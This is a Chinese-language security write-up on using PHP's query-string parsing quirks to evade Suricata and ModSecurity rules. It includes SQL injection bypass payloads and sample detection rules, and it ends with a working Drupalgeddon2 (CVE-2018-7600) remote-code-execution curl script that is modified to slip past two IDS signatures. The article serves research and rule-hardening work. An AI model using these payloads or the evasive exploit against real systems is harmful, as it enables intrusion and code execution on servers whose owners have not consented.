利用PHP的字符串解析特性Bypass
我们知道PHP将查询字符串（在URL或正文中）转换为内部$_GET或的关联数组$_POST。例如：/?foo=bar变成Array([foo] => “bar”)。值得注意的是，查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如，/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截，那么我们就可以用以下语句绕过：
/news.php?%20news[id%00=42"+AND+1=0--上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：
- 删除空白符
- 将某些字符转换为下划线（包括空格）
例如：
| User input | Decoded PHP | variable name |
|---|---|---|
| %20foo_bar%00 | foo_bar | foo_bar |
| foo%20bar%00 | foo bar | foo_bar |
| foo%5bbar | foo[bar | foo_bar |
通过以下这个示例，你可以更直观的看到parser_str函数如何处理字符串：
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
/* yes... I've added a sleep time on each loop just for
the scenic effect :) like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩｀-´)⊃━☆ﾟ.*･｡ﾟ
*/
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}
parse_str函数通常被自动应用于get、post请求和cookie中。如果你的Web服务器接受带有特殊字符的参数名，那么也会发生类似的情况。如上代码所示，我进行了多次循环，枚举了参数名三个位置的0到255之间的所有字符，看看解析函数到底是如何处理这些特殊字符的。结果如下：
[1st]foo_bar
foo[2nd]bar
foo_bar[3rd]
在上述方案中，foo%20bar和foo+bar等效，均解析为foo bar。
Suricata
也许你也听过这款软件，Suricata是一个“开源、成熟、快速、强大的网络威胁检测引擎”，它的引擎能够进行实时入侵检测（IDS）、入侵防御系统（IPS）、网络安全监控（NSM）和离线流量包处理。
在Suricata中你可以自定义一个HTTP流量的检测规则。假设你有这样一个规则：
alert http any any -> $HOME_NET any (\
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)简单来说，上述规则会检查news_id的值是否是数字。那么根据上述知识，我们可以很容易的绕过防御，如下所示：
/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'通过在Google和Github上进行搜索，我发现有很多关于Suricata规则可以通过替换下划线或插入空字符来绕过。一个真实的例子：https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)上述规则可以通过以下方式绕过：
/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00当然，这条规则交换参数位置即可绕过，比如：
/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1WAF（ModSecurity）
此外，PHP查询字符串的解析特性也可用以绕过WAF。想象一下,它的规则类似于SecRule !ARGS:news_id “@rx ^[0-9]+$” “block”，这显然可以通过相同的手段绕过。幸运的是，在ModSecurity中，可以通过正则表达式指定查询字符串中的参数。比如：
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"以上规则将拦截诸如以下的请求：
⛔️/?news[id=1%22+AND+1=1--'
⛔️/?news%5bid=1%22+AND+1=1--'
⛔️/?news_id%00=1%22+AND+1=1--'PoC || GTFO
让我们用Suricata和Drupal CMS创建一个以利用CVE-2018-7600（Drupalgeddon2远程执行代码）的简单PoC。为了简单起见，我将在两个Docker容器上运行Suricata和Drupal，并尝试绕过Suricata攻击Drupal。
我将使用两条Suricata防御规则：
1.一条自定义规则拦截form_id=user_register_form
2.另一条是关于CVE-2018-7600的通用规则
Suricata官方安装流程点击这里下载：
首先，让我们尝试利用CVE-2018-7600。一个利用curl命令的小型bash脚本，比如：
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"如你所见，上面的脚本将执行命令id：
现在，让我们尝试往Suricata导入以下两条规则：我编写了第一个规则，它只是尝试form_id=user_register_form在请求体内进行匹配; Positive Technology /user/register在请求URL和#post_render请求正文中写了第二个匹配项。我的规则：
alert http any any -> $HOME_NET any (\
msg: "Possible Drupalgeddon2 attack";\
flow: established, to_server;\
content: "/user/register"; http_uri;\
content: "POST"; http_method;\
pcre: "/form_id=user_register_form/Pi";\
sid: 10002807;\
rev: 1;\
)通用规则：
alert http any any -> $HOME_NET any (\
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
flow: established, to_server; \
content: "/user/register"; http_uri; \
content: "POST"; http_method; \
content: "drupal"; http_client_body; \
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
reference: cve, 2018-7600; \
reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
classtype: attempted-admin; \
reference: url, github.com/ptresearch/AttackDetection; \
metadata: Open Ptsecurity.com ruleset; \
sid: 10002808; \
rev: 2; \
)在重启Suricata后，我的攻击被成功报警：
可以看到，我们得到了两条日志：
1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
Bypass！
这两条规则其实都很容易绕过。首先，对于敏感字段form_id=user_register_form，我们可将其替换为如下内容：
form%5bid=user_register_form如上图所见，现在只有通用规则的警报。分析通用规则的正则表达式，我们可以看到它对#和%23敏感，但不涉及下划线的编码。因此，我们可以使用post%5frender代替post_render来绕过：
最后得出可绕过两个规则的PoC：
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
